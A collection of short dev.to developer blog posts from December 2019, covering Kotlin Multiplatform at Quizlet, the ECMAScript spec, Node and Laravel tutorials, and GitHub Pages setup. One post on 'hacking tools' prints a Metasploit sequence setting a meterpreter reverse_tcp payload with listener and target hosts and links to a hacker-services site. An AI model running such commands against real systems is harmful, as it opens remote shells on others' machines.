teleren/devto huggingface dataset:
Quizlet Adopting Kotlin Multiplatform
Tags: kotlinmultiplatform, ios, android, news
Published: 2019-12-18 21:29:27

---
title: Quizlet Adopting Kotlin Multiplatform
published: true
description: 
tags: kotlinmultiplatform, ios, android, news
---

@kpgalligan shared Quizlet's Medium post, [Shared Code at Quizlet: Deciding on Kotlin Multiplatform](https://medium.com/tech-quizlet/shared-code-at-quizlet-kotlin-multiplatform-2ee1b57646c), the day it dropped. 

I then discovered @ankushg had already let that cat out of the bag nearly 2 months earlier:

{% twitter 1180626868174647296 %}

It's a super interesting read because it tells the story of trying to share with JavaScript first, thinking about sharing with C++, then finally deciding on Kotlin Multiplatform.

I'm a fan of the term "platform citizen" but it's probably a coincidence that they used it too:

> Kotlin Multiplatform promises the ability to write code in Kotlin and have it run as a first-class citizen on each platform.

----

But here are my favorite takeaways:

**General**

> For many businesses, requiring internet connectivity for core product features might be a very reasonable requirement! Quizlet however has a particularly strong affinity for mobile users with limited Internet access.
...
> By focusing our shared code efforts on code based around state management and control flow, we saved our engineering team countless person-hours with minimal time spent on cross-platform threading or concurrency concerns.

**JavaScript**

> these issues resulted in an ecosystem where frontend web developers might have felt comfortable writing shared code, but mobile developers certainly did not feel comfortable consuming it.
...
> We were able to write our most critical business logic in one place, ship it across multiple platforms, and unblock our resource-constrained native mobile teams. Most importantly, we were able to do this without committing to writing our entire client with the same framework.

**Kotlin Multiplatform**

> even our frontend web engineers found themselves impressed by Kotlin.
...
> In early 2019, Quizlet migrated all of our shared code over to Kotlin Multiplatform, and we are using it in production to serve over 50 million monthly active users.

----

Please read the whole thing: [Shared Code at Quizlet: Deciding on Kotlin Multiplatform](https://medium.com/tech-quizlet/shared-code-at-quizlet-kotlin-multiplatform-2ee1b57646c)

And checkout their mention in the KotlinConf Keynote alongside a several other great examples of Kotlin Multiplatform in production

{% youtube 0xKTM0A8gdI?t=13m01s %}
<figcaption>Skip to 13:00 for Mobile Multiplatform mentions</figcaption>
The EcmaScript specification
Tags: beginners, javascript
Published: 2019-12-18 21:18:12

---
title: The EcmaScript specification
published: true
description: An introduction to the EcmaScript Specification
tags: beginners, javascript
series: FrontEnd Development Zero to Hero
---
> __A specification often refers to a set of documented requirements to be satisfied by a material, design, product, or service. A specification is often a type of technical standard.__
&mdash; [Wikipedia](https://en.wikipedia.org/wiki/Specification_(technical_standard))

Modern libraries and frameworks often have a documentation that contains  detailed explanations and code examples on how to use the library or framework. Examples include the [ReactJS documentation](https://reactjs.org/docs/getting-started.html) and [VueJS documentation](https://vuejs.org/v2/guide/).

Programming languages like JavaScript have a _specification_ which __contains algorithms and requirements__ that implementers should adhere to when implementing the language.

The [JavaScript (or  EcmaScript) specification](https://www.ecma-international.org/ecma-262/10.0/index.html) contains a __set of guidelines for implementing the language__.

The specification is _really technical_ and it’s __meant to be used by browser vendors or server side applications that implement the language__ but, at times you might run into a coding problem and the spec might be the only thing that will provide an answer for you or __at least give you an overview of what's going on under the hood__.

__From a beginners point of view you won't need to look at the specification__ but, as you progress in your coding career with enough experience the specification can come in really handy.

__Reading and understanding the specification is not an easy thing__ unless you have an understanding of algorithms and can comprehend the [Backus-Naur Form](https://en.wikipedia.org/wiki/Backus%E2%80%93Naur_form) but there is help around the corner.

__Timothy Gu__ created a living document titled &mdash; [How to read the EcmaScript Specification](https://timothygu.me/es-howto/).

Timothy has this to say for new JavaScript developers:
>  __I do not recommend reading the ECMAScript specification to developers new to JavaScript. If you are new to JavaScript, then play around with the web! build some web apps! or some JavaScript-based nannycams! or anything! and consider returning to this document when you have either experienced enough JavaScript warts or gotten rich enough to not have to worry about JavaScript.__

Now you might ask: If its not meant for beginners why mention it?

__I mentioned it so that you'll know when and how to find help when you can not express yourself to a search engine or a question and answer platform__ like [Stackoverflow](https://stackoverflow.com/).

The best thing to do now is to open the link to [the specifcation](https://www.ecma-international.org/ecma-262/10.0/index.html) and [timothy's document on how to read it](https://timothygu.me/es-howto/) then __bookmark them for future reference when you are comfortable with JavaScript__.

Up next, a quick introduction to programming.
Build and Secure a GraphQL Server with Node.js
Tags: graphql, node, jwt, programming
Published: 2019-12-18 21:08:03

---
title: Build and Secure a GraphQL Server with Node.js
published: true
description: Learn how to handle authentication and authorization of a GraphQL server using Node.js and JWTs.
tags: #graphql #nodejs #jwt #programming 
canonical_url: https://auth0.com/blog/build-and-secure-a-graphql-server-with-node-js/
---
TL;DR: Since its public release in 2015, GraphQL has grown from a new technology into a mature API specification, which is used by both small and big tech companies worldwide. Using a type system, it lets you query and mutate data using a simple and understandable format.

Although many articles online demonstrate how to create a GraphQL server with Node.js, how to handle authentication and authorization is often neglected. This post will show how to build a GraphQL server and consequently secure it using Auth0.

[Keep reading 🚀] (https://auth0.com/blog/build-and-secure-a-graphql-server-with-node-js/?utm_source=dev&utm_medium=sc&utm_campaign=graphqlserv_nodejs)
I need some advice...
Tags: help, android, kotlin, java
Published: 2019-12-18 20:30:27

As many of you know I run an open source project called Ara, here are some links: 
{% github fultonbrowne/ara-android %}
{% github fultonbrowne/ara-server %}
Well I need some help, I am adding my final major feature (not to be confused with the minor things I will be adding ALL THE TIME) before the final release. An IOT ecosystem of sorts, I don't even know where to start. So I am asking you guys, where should I start with a consumer facing IOT platform (not an enterprise one)? thank you in advance for your help, It greatly appreciated.
ASCII art day ¯ (ツ)_/¯ - Advent Of Code 2019 in javascript - Day 8
Tags: node, adventofcode, javascript, puzzle
Published: 2019-12-18 19:53:33

---
title: ASCII art day ¯\_(ツ)_/¯ - Advent Of Code 2019 in javascript - Day 8
published: true
description: JavaScript walkthrough of day 8 of Advent of Code 2019 (programming challenge solution)
tags: node, AdventOfCode, javascript, puzzle
series: Advent of Code 2019 in Javascript
---

Are you participating in Advent of Code? If so : comment with your progression!

{% youtube MiOT9po4UvQ %}

Feel free to drop a like, a comment and to subscribe to cheer me on and help me with the YouTube algorithm, thanks <3
couchbase you are an amazing database
Tags: 100daysofcode
Published: 2019-12-18 19:53:31

I 've studied [couchbase](https://docs.couchbase.com/home/index.html) and [lodash](https://lodash.com/docs/4.17.15#filter) today.
and here is the result...

https://report-tab-data.netlify.com/

GroupBy with lodash

{% codepen https://codepen.io/kaanna/pen/OJPWQww %}

Starting point was a simple sql query 

```sql
SELECT *
  FROM bakimlar
  GROUP BY kovanNo
  ORDER BY kovanNo asc
```
and
```sql
SELECT * 
FROM
	bakimlar 
	ORDER BY zamanDamgasi DESC
	limit 1
```
day05
Day 15 – Sending JSON to Client - Learning Node JS In 30 Days [Mini series]
Tags: node, javascript, codenewbie
Published: 2019-12-18 19:51:14

Do you know we can send JSON object to the client side ?
And we mostly use JSON data to pass client side.

We’ll do it using `res.end()`

We need to create `a server` first. You can see it from day 12.

{% post nerdjfpb/day-12-creating-own-server-learning-node-js-in-30-days-mini-series-3ef %}

![Alt Text](https://thepracticaldev.s3.amazonaws.com/i/1sea2wz282nl87qptf3w.png)

Now we can create an JSON object

![Alt Text](https://thepracticaldev.s3.amazonaws.com/i/kkkpx8ytm8b2wgil1ek3.png)

Now change the Content-Type

![Alt Text](https://thepracticaldev.s3.amazonaws.com/i/vf51z0p8sp2k8edzotkn.png)

We can send the data to frontend now using res.end(JSONObject)

![Alt Text](https://thepracticaldev.s3.amazonaws.com/i/9fm4rlr6yddcpiizgirr.png)

`JSON.stringify()` A common use of JSON is to exchange data to/from a web server.

Called server using postman –
![Alt Text](https://thepracticaldev.s3.amazonaws.com/i/y8cti6xs9hohuw7ro7dl.png)

###Can you send JSON data using node js now ?


You can see the graphical version here
{% instagram B6OcJ2Cgb8Y %}

Originally it published on [nerdjfpbblog](https://blog.nerdjfpb.com/day15-nodejsin30days/). You can connect with me in [twitter](https://twitter.com/nerdjfpb) or [linkedin](https://www.linkedin.com/in/nerdjfpb/) !


###__You can read the old posts from this series (below)__

{% post nerdjfpb/day-1-learning-node-js-in-30-days-mini-series-55e7 %}

{% post nerdjfpb/day-2-learning-node-js-in-30-days-mini-series-5023 %}

{% post nerdjfpb/day-3-learning-node-js-in-30-days-mini-series-24i4 %}

{% post nerdjfpb/day-4-learning-node-js-in-30-days-mini-series-1koc %}

{% post nerdjfpb/day-5-learning-node-js-in-30-days-mini-series-21jm %}

{% post nerdjfpb/day-6-learning-node-js-in-30-days-mini-series-758 %}

{% post nerdjfpb/day-7-learning-node-js-in-30-days-mini-series-3023 %}

{% post nerdjfpb/day-8-var-vs-let-vs-const-learning-node-js-in-30-days-mini-series-1i72 %}

{% post nerdjfpb/day-9-mastering-eventemitter-learning-node-js-in-30-days-mini-series-2dfe %}

{% post nerdjfpb/day-10-mastering-eventemitter-learning-node-js-in-30-days-mini-series-2802 %}

{% post nerdjfpb/day-11-creating-and-deleting-folders-learning-node-js-in-30-days-mini-series-3a2d %}

{% post nerdjfpb/day-12-creating-own-server-learning-node-js-in-30-days-mini-series-3ef %}

{% post nerdjfpb/day-13-buffer-stream-learning-node-js-in-30-days-mini-series-5c5d %}

{% post nerdjfpb/day-14-serving-html-pages-learning-node-js-in-30-days-mini-series-2hl3 %}
What tools do you use to stay accountable to your goals? 
Published: 2019-12-18 19:50:04

Hello! My name is Fiona Whittington and I'm a self-taught web developer. 

While trying to teach myself how to code, I realized how lonely and overwhelming it was to be a woman starting out in tech. To help other women overcome this challenge, I've has designed a platform called The Bit (www.thebit.tech) that matches self-taught learners to complete online courses. The aim is to make learning how to code more social, fun, and less overwhelming. 

One of our users' biggest pain points is a lack of accountability, which prevents them from achieving their learning goals. 

Are there any resources, tools, or tips that I can share with our users to help them stay motivated?
Welcome Thread - v53
Tags: welcome
Published: 2019-12-18 19:35:27

---
title: Welcome Thread - v53
published: true
description: Welcome to DEV! A thread of hellos and intros.
tags: welcome
---

![kevin hey](https://media.giphy.com/media/u63V5NzEyEuGY/giphy.gif)

### Welcome to DEV!

1. Leave a comment below to introduce yourself! You can talk about what brought you here, what you're learning, or just a fun fact about yourself.

2. Reply to someone's comment, either with a question or just a hello. 👋 

**Great to have you in the community!**
Learn how to create reusable components in reactjs.
Tags: codewithghazi, react, javascript, tutorial
Published: 2019-12-18 19:16:03

Creating reusable component is very essential and important part for an application to be consistent with Layout, Validations, Tests and to avoid any redundancy in application. It helps in less code and faster development with tested piece of code. 

Do watch this video to get an idea of how to create a reusable component in React for Form Inputs and reuse it in different parts of the application.

[Watch full tutorial here](https://www.youtube.com/playlist?list=PLtUG3cTN2la1bCd3dvl2Vm9PBo7F413WK)

{% github gkhan205/react-reusable-form-component %}
Professional Hacker's TOP 9 Hacking Tools
Tags: hacking, hacker
Published: 2019-12-18 19:14:52

Every hacker has to use some hacking tools at some point. The hacker can be a professional white-hat hacker, black hat or gray hat hacker. Some people may say that a real hacker does not use any Hacking tools, who use the tools coded by others is a script kiddie. I will say this is their misconception. An operating system is also a software or tool for a hacker. If the hacker does not have a target software, then he has nothing to hack. 

The bad idea is Without understanding what the tool is doing for him, or he can't do anything without a supper automated hacking software. This is not done by a professional hacker.

A hacker does not need to create a new Nmap to prove him as a real hacker. Because there is another Nmap already exist and ready to use. 

Metasploit is widely used by <a href="https://hackerforces.com">professional hackers</a>. Newbie hackers also install and try to use Metasploit-framework. 

Professional one knows Metasploit is a bundle of Ruby scripts. If for any reason any script not able to exploit an overflow vulnerability as expected, then he is able to test it locally to find out where is the problem and rewrite the script if required. 

Another person who does not have enough hacking skills, starting hacking using hacking tools for a short time, only will use a few commands such as:

USE random/windows/exploit
SET PAYLOAD windows/meterpreter/reverse_tcp
SET LHOST 192.168.1.10
SET LPORT port_number_without_forwarding
SET RHOST target_address.com
exploit

When exploitation will be failed, he'll say Metasploit doesn't work. This is the difference between professional and script kiddies. 

Here is the list of TOP 9 hacking tools used by professional hackers: https://hackerforces.com/9-hacking-tools-for-professional-hackers/
The SHAME ON ME fix
Tags: javascript, s3, sleep
Published: 2019-12-18 18:49:26

I had a problem. On my 2-week journey into Javascript inspired by the Omnistack Week (a week where you implement a full application with NodeJS, React and React Native), I built [this application](https://omnistack-quick-start-frontend.herokuapp.com/) but something was bothering me. I'll explain...

The function that uploads the post to the server, after doing so, redirects the user to the app's feed. Here's the code:

```javascript
handleSubmit = async e => {
    // Prevents the browser from doing whatever after submiting a form
    e.preventDefault();
    // This disables the submit button while the post is being created.
    this.setState({ loading: true });

    // Creates the form to be submitted to the backend (from the app's state).
    const data = new FormData();
    data.append('image', this.state.image);
    data.append('author', this.state.author);
    data.append('place', this.state.place);
    data.append('description', this.state.description);
    data.append('hashtags', this.state.hashtags);
    
    // Posts to the backend.
    await api.post('posts', data).then(() => {
        // Not necessary because I redirect, but re-enables the button.
        this.setState({ loading: false });
    });

    // Redirects to the feed.
    this.props.history.push('/');
}
```

But, when redirected, the user would see this:

![the bug](https://thepracticaldev.s3.amazonaws.com/i/2ve9aay9hkp077j7l1yb.png)

On the first version of the app, in which the image was uploaded to the server, I didn't have this problem. But then I changed to upload the image to Amazon S3, which makes more sense than storing on the application's server (and solved the problem of hosting on the free tier of Heroku, that turns everything off after a while and back on when someone hits the server). 

I guess that that problem had something to do with the time it takes Amazon S3 to provision everything... but I really don't know. So, I thought I could test the link before redirecting the user, while a loading layer or something like that would have the user waiting. I thought about a progress bar within the 'Share' button or a cool loading layer above everything...

BUT, here's what I did. A function:

```javascript
sleep(milliseconds) {
    var start = new Date().getTime();
    for (var i = 0; i < 1e7; i++) {
        if ((new Date().getTime() - start) > milliseconds){
            break;
        }
    }
}
```

And right before redirecting the user, I added this (with the comment and everything):

```javascript
/**
* SHAME ON ME.
* 
* The first request to S3 after redirecting to the feed fails.
* This is my fix to it. The correct fix would be to test the URL and once it
* is working, redirect to the Feed.
* 
* For now, sit tight for about one second and hope for the best.
*/
this.sleep(1000);
```

You can actually see the code on [this commit](https://github.com/brunodrugowick/omnistack-quick-start-frontend/commit/c1e92b1834afb63299adb33265f9ef6164eb9b98) and, of course, contribute, since it's an open source project.

Shame on me, I know. `=|`
GitHub Pages and Google Domains together
Tags: github, googledomains
Published: 2019-12-18 18:41:17


Oh, that annoyed me more than it should. Yes, it's quite easy to make your custom domain point to your GitHub Pages project, but from the confusing GitHub documentation (too much freaking information) to the annoying first-page Google results, took me a while for everything to work properly.

Now I have my GitHub Pages project working fine over HTTPS with my custom domain on [https://drugowick.dev](https://drugowick.dev) or [https://www.drugowick.dev](https://www.drugowick.dev).

So... assuming: 

- you already have a custom domain (mine is drugowick.dev)
- you already have a GitHub Pages project ([if you don't...](https://dev.to/brunodrugowick/how-to-use-github-pages-j7d)

... here are the 3 simple steps to use your GitHub Pages project with your domain:

<!--more-->

1. On your GitHub Pages repository settings (`https://github.com/<your-username>/<your-username>.github.io/settings`) in the `Custom domain` field, put your custom domain including the **www** in the beginning, like so:
    ![GitHub Settings Custom Domain](https://thepracticaldev.s3.amazonaws.com/i/56ehzbe4f01ng8h8oifi.png)

2. Check the box `Enforce HTTPS` (you may have to wait a little for this option to be available).

3. Add the following `Custom resource records` to your Google Domains DNS configuration:
    ![Google Domains DNS Config](https://thepracticaldev.s3.amazonaws.com/i/y1e9ul2djv5mm4i3rd0u.png)

- A set of `A` records pointing to GitHub's IPs. [Here](https://help.github.com/en/articles/setting-up-an-apex-domain#configuring-a-records-with-your-dns-provider) you can find the updated IP addresses that should be used.
- A `CNAME` record pointing to `<your-username>.github.io` and with `www` on the Name field.
    
Wait a little bit again for everything to work. It will work! 

Well... it works for me! =)

Thanks to:

- [https://woliveiras.com.br/posts/jamstack-dom%C3%ADnio-personalizado-com-google-domains-e-github-pages/](https://woliveiras.com.br/posts/jamstack-dom%C3%ADnio-personalizado-com-google-domains-e-github-pages/)
- [https://medium.com/@monarchwadia/github-pages-setting-up-www-subdomain-with-ssl-https-aca9eca371d6](https://medium.com/@monarchwadia/github-pages-setting-up-www-subdomain-with-ssl-https-aca9eca371d6)

---

Image from <a href="https://pixabay.com/pt/users/ann_designs-6288193/?utm_source=link-attribution&amp;utm_medium=referral&amp;utm_campaign=image&amp;utm_content=4471660">ann_designs</a> por <a href="https://pixabay.com/pt/?utm_source=link-attribution&amp;utm_medium=referral&amp;utm_campaign=image&amp;utm_content=4471660">Pixabay</a>
Laravel Auth : Multi Authentication System Using Guard
Tags: laravel, auth, multiauth, guard
Published: 2019-12-18 18:32:42

In this tutorial we are going to know how to create multi authentication system in laravel ?  In this tutorial we'll use guard to create this multi authentication system. Laravel default login system , laravel use web as a default guard. If you go to your loginController.php then you can see its use AuthenticatesUsers trait.

If you go this file which locate this following slug vendor\laravel\framework\src\illuminate\Foundation\Auth\AuthenticatesUsers .php. After going this file just go to bottom of this file and you will see this below code.

https://www.codechief.org/article/laravel-multi-authentication-using-guard
Entity-Relationship Model In DBMS
Tags: dbms, entity, relationship
Published: 2019-12-18 18:35:49

Entity-Relationship (ER) Model is based on the notion of real-world entities and relationships among them. While formulating real-world scenario into the database model, the ER Model creates entity set, relationship set, general attributes, and constraints.

ER Model is best used for the conceptual design of a database.
ER Model is based on:

 Entities and their attributes.
 Relationships among entities.

These concepts are explained below.

https://www.codechief.org/article/entity-relationship-model-in-dbms
Laravel Vue Js Read Data Using Vuex Example From Scratch
Tags: laravel, vue, vuex
Published: 2019-12-18 18:34:00

In this tutorial we are going to learn how to use vuex in laravel. Do you know why we should use vuex?  We can use props to send data component to component. But using vuex we can do it easily. We can can manage large application easily also. Using vuex your code will be easily readable and understandable. 

You can see documentation of vuex and just see it how its works. Though vuex is littile bit tricky but if you clearly understand it, it will be very helpful for you. Cause we can easily state manage using vuex in vue application. 

In this tutorial i will create a Category table and read or fetch all the categories data using vuex from database. Now i am going to show you how we can do it using vuex in our vue and laravel application.

https://www.codechief.org/article/laravel-vue-js-read-data-using-vuex-example-from-scratch
Some Laravel Best Practices Every Developer Should Know
Tags: laravel, tips, tricks
Published: 2019-12-18 18:33:15

In this tutorial i will show you some laravel best practices. I think every laravel developer should know how to write clean code and shouldn't write unnecessary code. In this lessen we will see some tips and tricks in laravel to write better code to help and optimize our app to get better performance.

https://www.codechief.org/article/some-laravel-best-practices-every-developer-should-know